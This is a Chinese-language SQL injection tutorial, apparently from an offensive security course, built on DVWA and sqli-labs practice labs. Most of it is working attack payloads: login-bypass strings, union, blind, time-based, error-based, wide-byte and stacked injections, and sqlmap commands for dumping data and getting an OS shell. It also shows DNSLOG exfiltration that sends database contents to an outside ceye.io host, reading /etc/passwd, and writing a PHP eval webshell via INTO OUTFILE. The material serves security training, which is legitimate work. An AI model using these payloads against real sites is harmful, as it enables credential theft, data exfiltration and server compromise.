SQL注入


IP签名

SQL注入

原文:

201-A3-SQL注入(上) · Farmsec Open Source (fsec.io)

201-A4-SQL注入(中) · Farmsec Open Source (fsec.io)

201-A5-SQL注入(下) · Farmsec Open Source (fsec.io)

1.SQL注入的概念

SQL注入 (SQL Injection):通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

首先让我们了解什么时候可能发生SQL Injection。

假设我们在浏览器中输入URL www.sample.com,由于它只是对页面的简单请求无需对数据库动进行动态请求,所以它不存在SQL Injection,当我们输入www.sample.com?testid=23时,我们在URL中传递变量testid,并且提供值为23,由于它是对数据库进行动态查询的请求(其中?testid=23表示数据库查询变量),所以我们可以该URL中嵌入恶意SQL语句。

2.SQL注入的安全隐患

一旦应用中存在sql注入漏洞,就可能会造成如下影响:

  1. 数据库内的信息全部被外界窃取。
  2. 数据库中的内容被篡改。
  3. 登录认证被绕过
  4. 其他,例如服务器上的文件被读取或修改/服务上的程序被执行等。

3. SQL注入产生的过程

如果一个网站使用数据库来存储用户登录信息,并执行如下的SQL语句进行登录尝试:

select * from users where username='farmsec' and password='123456'`

在这种情况下,攻击者可注入用户名或密码字段,以修改应用程序执行的查询,从而破坏它的逻辑。例如攻击者知道应用程序的username为farmsec,那么他就可以通过提交一下用户名和任意密码,以管理员的身份登录: farmsec' --

应用程序将执行以下查询:

select * from users where username='farmsec' --' and password='sadfas'

于是乎这个查询完全避开了密码检查。

这也引出了经典的万能密码问题。

有些网站的登录页面其背后的逻辑就是上文中的语句。

我们可以在密码部分注入:’or 1=1 –

那么整个句子就变成:

select * from users where username='farmsec' and password=''or 1=1 --

因为1永远等于1,登录验证就会被绕过。

一些常见的万能密码形式:

'or'='or'
admin'-- 
admin' or 4=4-- 
admin' or '1'='1'-- 
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1-- 
admin' or '2'='2
')or('a'='a
or 4=4--

4.SQL注入的分类

SQL注入根据不同的分类方法会有多种类别。但依照最大的区别特征而言,主要分为显注和盲注两类。

显注是指,当攻击者拼接SQL语句注入时,网站会把SQL语句的执行结果显示在网页上。

盲注与显著相反,网站不会把SQL语句的执行结果显示出来。盲注还分为时间性盲注和布尔型两者,这会在后文中详述。

5.SQL注入案例

5.1 显注案例

登录访问DVWA,默认用户名:admin密码:password,登录之后,将dvwa的安全级别调成low,low代表安全级别最低,存在较容易测试的漏洞。 1、找到SQl Injection 选项,测试是否存在注入点,这里用户交互的地方为表单,这也是常见的SQL注入漏洞存在的地方。正常测试,输入1,可以得到如下结果

image-20220218012447630

当将输入变为'时,页面提示错误“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’’’ at line 1”,结果如图。看到这个结果,我们可以欣慰的知道,这个表单存在着注入漏洞。

image-20220218015343858

因为我们推测,网站程序中的SQL查询语句可能是这样的:

select * from XXX where id='$用户输入'

当我们输入'时,语句变为了:

select * from XXX where id='''

如此,这个搜索语句多余一个引号,会引发报错。同时,这也代表了,攻击者是可以对原有程序进行拼接与注入的,只要尽力构造攻击语句,就可以对后端数据库为所欲为。

为了进一步确认我们能否自如的操作后端数据库,我们以此构造插入如下语句:

1' and 1=1#
1' and 1=2#

其中#--同理,属于SQL语句的注释符号,会使其后面的语句无效。

那么理想中,原有语句会被拼接成这样。

select * from XXX where id='1' and 1=1#'
select * from XXX where id='1' and 1=2#'

前一个执行为真,应与输入1时结果相同,后一个执行结果为假,应当不返还结果。

image-20220218135245966

image-20220218135305593

由此我们确认了,这个漏洞真实存在,而且后续有可以完全被攻击者操作。

接下来,我们可以有order by num语句查询该数据表的字段数量。

我们输入 1' order by 1# 结果页面正常显示。继续测试,1' order by 2#,1' order by 3#,当输入3是,页面报错。页面错误信息如下,Unknown column '3' in 'order clause',由此我们判断查询结果值为2列。

image-20220218140411546

image-20220218140529221

接下来利用联合查询,查看一下我们要查询的数据会被回显到哪里。

这里尝试注入 1' and 1=2 union select 1,2 #

image-20220218140841776

从而得出First name处显示结果为查询结果第一列的值,surname处显示结果为查询结果第二列的值,利用内置函数user(),及database()version()注入得出连接数据库用户以及数据库名称:

我们注入:

1' and 1=2 union select user(),database() #

image-20220218141917199

获得操作系统信息:

1' and 1=2 union select 1,@@global.version_compile_os from mysql.user #

image-20220218141958893

为了获取到整个数据库的特征。我们要首先介绍一下,mysql和MariaDB数据库的一个特征,即information_schema库。

information_schema 库用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

image-20220218142430238

information_schema 库中的SCHEMATA表存储了数据库中的所有库信息,TABLES表存储数据库中的表信息,包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。COLUMNS 表存储表中的列信息,包括表有多少列、每个列的类型等

构造以下语句可以查到所有的库名。

1' and 1=2 union select 1,schema_name from information_schema.schemata #

image-20220218143010819

接下来,我们查看dvwa库中的所有表名。

1'and 1=2 union select 1,table_name from information_schema.tables where table_schema= 'dvwa'#

image-20220218144245803

攻击者往往关心存储管理员用户与密码信息的表。所以接下来就是users表了。要查询users表中所有的列。

1'and 1=2 union select 2,column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#

image-20220218143207987

最后我们查看,user和password两列的信息。

1'and 1=2 union select user,password from dvwa.users#

image-20220218144604959

就这样我们就爆出所有的用户名和密码值!不过,这密码是经过md5加密的。我们需要找一些破解md5值的网站来进行破解!直接百度“CMD5”,然后选择一个网站进去破解就可以了。我们选择admin这个来进行破解,md5密文为:5f4dcc3b5aa765d61d8327deb882cf99。 可以看到密码已经被破解出来了,密码是“password”

5.2 盲注案例

进入渗透环境DVWA,在左边的选项里选择SQL Injection(Blind),进入实验环境。 我们可以看到:在应用界面里有一个可编辑的文本框,旁边有个按钮。这时候,我们输入1试试看。 出现了这么一行字:User ID exists in the database。大概意思是:数据库里存在ID为1的用户。那么这个应用的功能我们就大致知道了。——访问者输入一个用户ID,应用返回存不存在该用户。

image-20220218150950809

那么我们故技重施,输入'来查看数据库是否会报错。

image-20220218151137861

很不幸,没有报错,只返回不存在该用户。

这就是盲注,页面不会显示数据库的查询结果。只会表现出两种状态:查询成功、查询失败。

为了进一步确认我们能否自如的操作后端数据库,我们以此构造插入如下语句:

1' and 1=1#
1' and 1=2#

image-20220218151439384

image-20220218151510152

到此我们知道了,网页虽然不会回显数据库执行结果,但我们可以构造语句,让网页不停地显示是和否两种状态。

比如:输入1。结果为真。

输入:1’ and 1=1# 就是查询1,并且1等于1。and 代表两个条件需要都为真。所以1’ and 1=1#结果为真,1’ and 1=2#结果为假。

我们也可以构造1’ or 1=2#,结果应当为真。

image-20220218152143645

原理如下:

我们先猜测一下这里的SQL语句是:select name from user where id='' 当我们输入1' and 1=0#时,这段sql语句就变成: select name from user where id='1' and 1=0#'

原先的逻辑是::从user表中挑出name列的内容,条件是id=1现在变成:从user表中挑出name列的内容,条件是id=1和1=0,数学课都学过逻辑吧,在和连接起来的两个条件里,只要有一个是假,那么这整个的逻辑就是假。1=0是永假,所以id=1 and 1=0也为假。所以,这条SQL查询不返回任何数据,所以应用显示:User ID is MISSING from the database. 在我们输入:1’ and 1=1#时,应用显示User ID exists in the database。而SQL注入漏洞的本质是把用户输入的数据当做代码来执行,所以我们判断此处存在SQL注入。

如果我们通过构造sql语句不停的确认是否,就可以得到数据库的一切信息。比如,不停的问,数据库里有1张表吗?两张表吗?三张表吗?

第一张表的表名是4个字吗?5个字吗?。第一张表的表名第一个字母是a吗?是b吗?是c吗?如果网页能够一直告诉我这些问题的是否。我们必然能获取所有数据。像这种能用是与否的逻辑进行注入的盲注,被称为布尔型盲注(Boolean注入)。

让我们用上述思路尝试一下:

输入:1' and length(user())>5# 1后面的单引号闭合前面语句。 length()函数会返回括号内的字符串长度,例如length(’abc‘)返回3。函数user()能查询数据库的用户名。length(user())即会查询用户名的长度。 这句话的逻辑很简单,如果当前用户名字的长度大于5,则整个条件为真,数据库就去查询有无ID为1的用户,而我们知道ID为1的用户是存在的。所以应用一定会返回:User ID exists in the database. 如果当前用户名字的长度小于5,应用则会返回User ID is MISSING from the database. 虽然我们不能让应用显示详细信息,但我们可以让它回答:是或否。 我们来看看结果: 应用返回真,于是我们知道了当前用户名的长度大于5。

image-20220218153753881

我们接着输入:1' and length(user())>20#

image-20220218153924435

应用返回假,于是,我们知道了当前用户名的长度小于20大于5。

我们反复执行这个过程,会越来越缩小范围。最终可以用等于确定。

1' and length(user())=14#

image-20220218154119789

到此我们确定了用户名长度为14。

开始确定用户名,因为我们只能让web应用回复:是或否。 所以我们只能一个字母一个字母来猜。 输入:1' and substring(user(),1,1)='a'#

这里的substring()函数的作用是提取字符串中的字符.例如:

substring('abcd',1,1) #返回a
substring('abcd',3,1) #返回c
substring('abcd',3,2) #返回cd

所以注入这个SQL语句的目的就是要取出当前用户名字的第一个字母,用二分法来找出这个字母是什么,接着找第二个字母,然后第三个……

计算机看不懂字符,必须以0和1的形式转化字符。所以每个字符都有个特定的二进制数来表示。而具体用哪些二进制数字表示哪个符号,当然每个人都可以约定自己的一套(这就叫编码),而大家如果要想互相通信而不造成混乱,那么大家就必须使用相同的编码规则,于是美国有关的标准化组织就出台了ASCII编码 在ASCII编码里,大写字母A的acsii最小,依次排下去,到大写字母Z,隔几个别的字符,然后到小写字母a。

image-20220218154427788

运用二分法,我们继续注入:1' and substring(user(),1,1)<'z'#

image-20220218154526015

所以范围在小写a-z之间

1' and substring(user(),1,1)='r'#

image-20220218154619173

然后就是第二个字母。 注入:1' and substring(user(),2,1)>'a'# 注入:1' and substring(user(),2,1)<'z'# 我们继续注入:1' and substring(user(),2,1)>'h'# 注入:1' and substring(user(),2,1)='o'#

image-20220218154745336

后续依此逻辑可以得到全部14位的用户名;

1' and substring(user(),3,1)='o'#
1' and substring(user(),4,1)='t'#
1' and substring(user(),5,1)='@'#
1' and substring(user(),6,1)='l'#
1' and substring(user(),7,1)='o'#
1' and substring(user(),8,1)='c'#
1' and substring(user(),9,1)='a'#
1' and substring(user(),10,1)='l'#
1' and substring(user(),11,1)='h'#
1' and substring(user(),12,1)='o'#
1' and substring(user(),13,1)='s'#
1' and substring(user(),14,1)='t'#

最终得到,用户名为:root@localhost

如果想猜测当前数据库,其原理也和上文一样。

首先猜数据库的长度(方法和上方一样),经过注入发现长度为4 1' and length(database())=4#

然后,依次注入4位数据库库名的字母。

1' and substring(database(),1,1)='d'#
1' and substring(database(),2,1)='v'#
1' and substring(database(),3,1)='w'#
1' and substring(database(),4,1)='a'#

得到当前数据库库名为dvwa

5.2.1 盲注库名

我们可以依照显著的顺序,构造盲注的攻击语句。从而拿下整个数据库。

比如,显著查找数据库库名:

1' and 1=2 union select 1,schema_name from information_schema.schemata #

盲注更加复杂一些,要分解为以下几个步骤:

1.注入查询有几个库

1' and (select count(schema_name) from information_schema.schemata) =6 #

2.注入第一个库名长度

1' and length((select schema_name from information_schema.schemata limit 0,1))=18 #
## limit 0,1代表截取第一行。limit 0,2代表截取前两行,limit 1,1,代表截取第二行。limit 2,3代表截取从第三行到第五行。

3.注入第一个库名

1' and substring((select schema_name from information_schema.schemata limit 0,1),1,1)='i' #
1' and substring((select schema_name from information_schema.schemata limit 0,1),2,1)='n' #

这两条也可以用ASCII码代替。
1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105 #
1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1))=110 #

事实上这个库名我们知道是默认的information_schema

5.2.2 盲注表名

与上面的逻辑一样。盲注表名也分为三个步骤:1.盲注查询库内有多少个表;2.盲注查询库内第一个表表名的长度;3.盲注查询库内第一个表的表名

1.盲注查询库内有多少个表

1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 #

2.盲注查询库内第一个表表名的长度

1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))<15 #
1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))=9 #

3.盲注查询库内第一个表的表名

1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='g' # 
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))='u' #
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))='e' #
依照此逻辑可以依次推出余下字符

接下来也可以推第二张表

1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1))=5 #
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))='u' #
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))='s' #
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))='e' #
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))='r' #
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),5,1))='s' #

5.2.3 盲注列名

逻辑与上文是一样的,三步骤。

1.判断users表中有多少列。

1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #

2.判断每一列的列名长:

1' and length((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 0,1))=7#
1' and length((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 3,1))=4#
1' and length((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 4,1))=8#

3.判断第四列列名。

1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 3,1),1,1))='u'#
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 3,1),2,1))='s'#
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 3,1),3,1))='e'#
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 3,1),4,1))='r'#

4.判断第五列列名。

1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 4,1),1,1))='p'#
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 4,1),2,1))='a'#
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 4,1),3,1))='s'#
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 4,1),4,1))='s'#

(后略)

5.2.4 盲注数据

数据库名,表名,列名,现在都推出来了,现在则是查看列里的内容。

1' and (select count(*) from dvwa.users)=5# (判断列中有几条记录)
1' and length(substr((select user from users limit 0,1),1))=5# (判断user这一列的第一条记录的长度是否为5)
1' and substr((select user from users limit 0,1),1,1)='a' # (判断user这一列的第一条记录的第一个字段是否为a)
1' and substr((select user from users limit 0,1),2,1)='d'# (判断user这一列的第一条记录的第二个字段是否为d)
1' and substr((select user from users limit 1,1),1,1)>'g'# (判断user这一列的第二条记录的第一个字段ascii码值是否为大于g)

5.3 时间盲注

这个例子出自sqli-labs靶场的第九关。

靶场下载地址为:https://github.com/Audi-1/sqli-labs

image-20220219012610309

我们发现id=1和id=1’并没有明显区别,没有报错,也没有发现是与否的关系。

image-20220219012736335

image-20220219013005252

这种情况下就可以考虑盲注的另外一种形式,时间注入

时间盲注与布尔型注入的区别在于,时间注入是利用sleep()或benchmark()等函数让数据库执行的时间变长。

时间盲注多与if函数结合使用。如:if(a,b,c),此if语句的含义是,如果a为真则返回值为b,否则返回值为c。

如:if(length(database())>1,sleep(5),1)它的含义为,如果当前数据库名字符长度大于1,则执行sleep函数使数据库执行延迟,否则则返回1。

所以时间注入的本质也是布尔注入,只不过是用数据库是否延迟执行的方式来表达是与否的逻辑。

下面我们注入1%27%20and%20if(length(database())>1,sleep(5),1)--+

%27为引号的url编码。

来看。

image-20220219023743478

image-20220219023853526

image-20220219025703105

可以看到,一旦我们构造出结果为真的条件,网页(后端数据库)响应就会延迟。

我们把前文学到的盲注语句嵌入到刚刚的if、sleep组成的句子中,就可以完成接下来的注入了。

1%27%20and%20if($盲注语句,sleep(5),1)--+

6. sqlmap工具

sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞。它是由python语言编写而成。因此使用sqlmap时,需要在python环境中运行。在kali中集成了这个工具使用sqlmap命令即可调用。

sqlmap最基本的语法是`

sqlmap -u "$url" --dbs  #注入这个URL,注入出库名。

以DVWA为例,由于DVWA需要登录,没有cookie是无法访问这个网站的。所以还需要指定cookie参数。

sqlmap -u "$url" --cookie="$cookie"  --dbs

sqlmap -u "http://192.168.43.252/vulnerabilities/sqli/?id=12&Submit=Submit" --cookie="PHPSESSID=iuefue0ve30qnodkna7j236e82; security=low; security_level=0" --dbs

image-20220219132416080

image-20220219132431620

如果注入点所在是一个POST请求的网页,或者你不想指定cookie这样麻烦。也可以在burp中保存请求包为一个文件,再用sqlmap中的-r

参数指定这个文件。

sqlmap -r 1.txt --dbs

image-20220219132856745

image-20220219133042645

sqlmap常见参数:

-u             #指定url
-r             #指定文件
-p             #指定注入点
--cookie       #指定cookie
--dbs          #注入库名
--D            #指定库名
--tables       #注入表名
-T             #指定表名
--columns      #注入列名
-C             #指定列名
--dump         #注入数据

继续以DVWA为例子,注入dvwa库下的表名

sqlmap -r 1.txt -D dvwa --tables

image-20220219134026101

image-20220219134058230

注入dvwa库下,users表下的列名。

sqlmap -r 1.txt -D dvwa -T users --columns

image-20220219134324545

image-20220219134359203

以url中的id为注入点,注入dvwa库下,users表下的password列的数据。

sqlmap -r 1.txt -p id -D dvwa -T users -C password --dump

image-20220219134610599

image-20220219134631157

7. 不同请求方式的注入

7.1 get请求方式的SQl注入

例子出自sqli-labs,less-1

image-20220219213311959

按照提示输入合法参数 ?id=1

img

用burpsuite对页面进行抓包 可以发现,http使用的是get请求,同时在URL中也可以看得到参数的传递。

image-20220219213356627

尝试在输入中加入’ 检查是否存在注入点。 发现输入后,页面有提示错误,表示有注入点。

image-20220219213416130

使用sqlmap进行注入测试 使用命令:sqlmap -u "http://192.168.0.180/sqli-labs/Less-1/?id=1" -p id

7.2 post请求方式的注入

打开靶机sqli-labs,进入less-11页面

image-20220219213533995

先使用dumb用户进行登录。

image-20220219213558821

尝试抓包查看数据包 发现这里用的是post请求,同时URL中也不再显示参数。

image-20220219213613978

尝试通过修改数据包的post参数,加入’测试能否注入 发现web报错,说明有注入点。

image-20220219213635104

image-20220219213641324

使用sqlmap进行注入测试 使用sqlmap -r测试。

image-20220219213727599

image-20220219213733093

8. 特殊位置的注入

8.1 存在于cookie中的注入

打开靶sqli-labs,Less-20页面。

image-20220219221038558

输入正常参数进行测试 发现有两个页面

image-20220219221058134

image-20220219221108503

使用burpsuite进行扫描 第二个数据包cookie存在注入点。

image-20220219221147463

使用sqlmap进行注入测试 sqlmap -u "http://192.168.0.180/sqli-labs/Less-20/index.php" --risk=3 --level=5 --cookie="uname=Dumb" image-20220219221238380

8.2 存在于User-Agent 中的注入

打开靶机sqli-labs,Less-18页面

image-20220219221847794

请求正文中的uname和passwd的值一定要是数据库中存在的用户名和对应的密码,因为这关代码会先判断数据库中是否有该用户名和密码的用户,如果有才会将User-Agent和客户端ip信息写入数据库

burp抓包在User-Agent中加入引号进行测试

发现浏览器存在报错,存在注入点

image-20220219222154302

在brupsuite的repeater选项卡中。

注入' or updatexml(0,concat(0x2b5e,version()),0),",")#

关于这个语句的含义,将在后文中详述。这里只是举例,sql注入存在的特殊位置。

image-20220219225932047

可以发现注入出了数据库版本。

注入' or updatexml(0,concat(0x2b5e,database()),0),",")#

image-20220219230153742

可以发现注入出数据库名。

image-20220822154502818

9.利用DNSLOG注入

在前面的章节中,我们已经学习了DNS的原理和DNS服务的搭建。当DNS服务被请求时,会在DNSlog中留下相应的日志。

这种特性可以帮助我们在许多没有回显的漏洞利用中得到便利。

善于使用这个机制,可以在windows搭载数据库的环境中将盲注变为显注。

SELECT first_name, last_name FROM users WHERE user_id = '1'  and LOAD_FILE(CONCAT('\\\\',(select database(),'ubs9hj.ceye.io')))#'


1' and SELECT LOAD_FILE(CONCAT('\\\\',database(),'ubs9hj.ceye.io'))#

1'select load_file(concat('\\\\',database(),'.ubs9hj.ceye.io\\AB'))#


SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 2,load_file(concat('\\\\',database(),'.ubs9hj.ceye.io\\AB'))#'

select load_file(concat('\\\\',database(),'.ubs9hj.ceye.io\\AB'));


SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 2,load_file(concat('\\\\',database(),'.ubs9hj.ceye.io\\AB'))#'

1' and 1=2 union select 2,load_file(concat('\\\\',database(),'.ubs9hj.ceye.io\\AB'))#


1' and 1=2 union select 2,load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.ubs9hj.ceye.io\\AB'))#
1' and 1=2 union select 2,load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.ubs9hj.ceye.io\\AB'))#
1' and 1=2 union select 2,load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 0,1),'.ubs9hj.ceye.io\\AB'))#
1' and 1=2 union select 2,load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 1,1),'.ubs9hj.ceye.io\\AB'))#

1' and 1=2 union select 2,load_file(concat('\\\\',(select user from dvwa.users limit 0,1),'.ubs9hj.ceye.io\\AB'))#
1' and 1=2 union select 2,load_file(concat('\\\\',(select password from dvwa.users limit 0,1),'.ubs9hj.ceye.io\\AB'))#



1'and 1=2 union select user,password from dvwa.users#


select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'

(select table_name from information_schema.tables where table_schema=database() limit 0,1)

10.基于报错的注入

基于报错的注入有很多种形式。

这里主要介绍利用XPath语法错误进行注入和主键重复报错注入。

10.1 利用XPath语法错误进行注入

这里选用sqli-lab靶场的第六关。

image-20220219230843854

image-20220219230924501

可以看到这个报错回显在页面上,可能有sql注入。

利用xpath语法错误来进行报错注入主要利用extractvalueupdatexml两个函数。 使用条件:mysql版本>5.1.5

extractvalue函数

正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串

第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。

常见用法:

id=" and(select extractvalue("anything",concat('~',(注入语句))))
id=" and(select extractvalue(1,concat('~',(select database()))))
id=" and(select extractvalue(1,concat(0x7e,@@version)))
注:
0x7e  是~的asccii码
concat(‘a’,‘b’)=“ab”
version()=@@version
‘~‘可以换成’#’、’$'等不满足xpath格式的字符
extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位

image-20220219233815419

updatexml函数与extractvalue函数极为相似。

id='and(select updatexml("anything",concat('~',(注入语句())),"anything"))

当concat函数内拼接出的字符不符合xpath格式时,会报错,并将报错结果带回来。

and (select updatexml(1,concat('~',(select database())),1))


" and (select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
' and (select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
" and (select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

image-20220219234714709

10.2 利用主键重复报错进行注入

利用concat+rand()+group_by()导致主键重复。数据库会报错然后将查询结果返回。

这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。

一个常见的语句如下:

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

让我们逐步拆解这个语句。

rand():生成0~1之间的随机数。

image-20220220001258055

floor函数,其功能是向下取整。

那么floor(rand(0)*2)),rand():生成0到1之间的随机数。乘以二就是0到2之间的随机数,向下取整,结果只能是0和1.

image-20220220001941880

groud by 对数据进行分组,可以看到原本结果只有0和1,于是只分成了两组。

image-20220220002459169

count(*)简单说就是个计数的函数;这里和group by合用用来计算每个分组出现的次数。

image-20220220002950104 

那么最终的payload是:

' union select 1 from (select count(*),concat((slelect语句),floor(rand(0)*2))x from "一个很大的表" group by x)a--+

这里表示,按照x分组,x分组为floor(rand(0)*2产生的随机值即0和1。因为rand()函数会因为表有很多行而执行多次,产生多个0和1。

所以,当在group by对其进行分组的时候,会不断的产生新分组,当其反复执行,发先分组1已结存在时,就有会报错。

' union select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a--+

' union select 1 from (select count(*),concat((select user())," ",floor(rand(0)*2))x from information_schema.tables group by x)a

' union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a

' union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a

' union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a

' union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a

image-20220220004011016

11.二阶注入

二次注入,可以概括为以下两步: • 第一步:插入恶意数据 进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

• 第二步:引用恶意数据 开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

这个例子出自sqli-lab的24关。

首先注册一个admin'#的用户。

image-20220220005349119

然后更改admin'#的用户的密码。

image-20220220005405909

而实际上,此次更改的是用户admin的密码。

image-20220220005519526

12.宽字节注入

宽字节注入是数据库编码采用GBK编码时所产生的漏洞。尽管现在使用GBK编码的数据库已不多见,但由于这个漏洞绕过网站转义机制的经典性,仍然具有很大的启发意义。

下图为MariaDB默认的编码,通过 alter database [数据库名] character set [字符集名],可以修改数据库编码。如果改为GBK编码,这一漏洞就会存在。

image-20220324102411614

下面的例子出自sqli-lab的第32关。

image-20220324103041427

当我们输入'时,会发现网站防御机制利用\' 进行了转义,使其被看做一个字符而非数据库查询语句。

image-20220324105312654

mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%ab%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围,如%ab,%df)。网站在过滤 ‘ 的时候,往往是利用反斜杠转义将 ' 转换为 \' 。所以如果我们输入%ab%27(%27就是单引符号会被转义成\'也就是%5c%27),在后台%ab会将%5c“吃掉”,组成一个汉字(%ab%5c是一个汉字)。

如下图,出现数据库报错,说明单引号起作用了。

image-20220324110131526

接下来就可以利用手工注入进行余下的部分了。

image-20220324110417575

image-20220324110502109

13. 堆叠注入攻击

数据库的堆叠查询可以执行多条语句,多语句之间可以用分号隔开。

堆叠注入就是利用这个特点,可以在第二个SQL语句中构造自己要执行的语句。

以下例子出自sqli-lab第38关。

image-20220220015408294

注入如下语句:

1';update users set password='123456' where username='Dumb';--+

image-20220318092242233

14.利用SQL注入读取与写入文件

14.1 利用SQL注入读取文件

利用load_file()函数可以读取数据库有权限读取的文件。

如,读/etc/passwd

1' and 1=2 union select 1,load_file('/etc/passwd');#

image-20220318095156712

14.2 利用SQL注入写入文件

利用outfile函数可以在数据库有写权限的目录写入文件。

14.2.1 将数据库查询结果写入文件

如将对user和password的查询结果写入/var/www/html目录下命名为1.bak的文件中:

1' and 1=2 union select user,password from users into outfile '/var/www/dvwaplus/1.bak'#

image-20220318100038107

出现这种报错是因为数据库在/var/www/html目录下没有写入权限。

我们作弊,给这个目录777权限。然后重新执行此语句。

image-20220318100440412

查看服务器发现文件成功写入 或者通过web下载文件。

image-20220318100824729

image-20220318100936730

image-20220318101050289

其中密码为MD5加密的值,可以在MD5在线解密网站解密https://www.bejson.com/enc/md5dsc/

image-20220318133352948

14.1.2 写入一句话木马

利用outfile函数可以将一句话木马写入到一个文件内,并保存在数据库有写入权限的web路径下。

1' and 1=2 union select 1,'<?php @eval($_POST[123])?>' into outfile '/var/www/dvwaplus/tq.php'#

image-20220323102541784

我们作弊查看服务器该路径,发现已经写入了文件。

image-20220323103101481

浏览器访问这个文件,发现其存在,空白说明php代码已被解析。

image-20220323103418160

我们可以用Cknife工具连接这个webshell

image-20220323103801060

image-20220323103822952

image-20220323103854589

14.1.3 利用sqlmap获得shell权限

Sqlmap证明存在注入并确保有dba权限。所谓DBA权限就是数据库的最大权限。在MariaDB数据库中一般为root。在sql注入中,只要注入权限为DBA用户所管理的库时,才能行使数据库的完整权限,执行文件写入等操作。前文手注写入木马也是基于这个前提。

sqlmap -u "http://192.168.10.112/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vmhebkhe3pl91nmpij1kfnr7f7; security=low" --is-dba

image-20220323111914629

current user is DBA: True代表其具备DBA权限。

在sqlmap中--os-shell代表sqlmap将尝试获取shell。

sqlmap -u "http://192.168.10.112/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vmhebkhe3pl91nmpij1kfnr7f7; security=low" --os-shell

选择对相应的中间件类型,这里用的lamp,所以选PHP

image-20220323112342543

选择2制定web站点路径

image-20220323112726469

输入上传目录/var/www/html

image-20220323112938626

获得os shell

image-20220323113537174

image-20220323113734443

15. SQL注入的一些细节

当我们远程测试网站是否存在SQL注入,常常需要通过推理来进行大量测试。即看到网页上的执行结果,推理后台数据库是如何操作的。

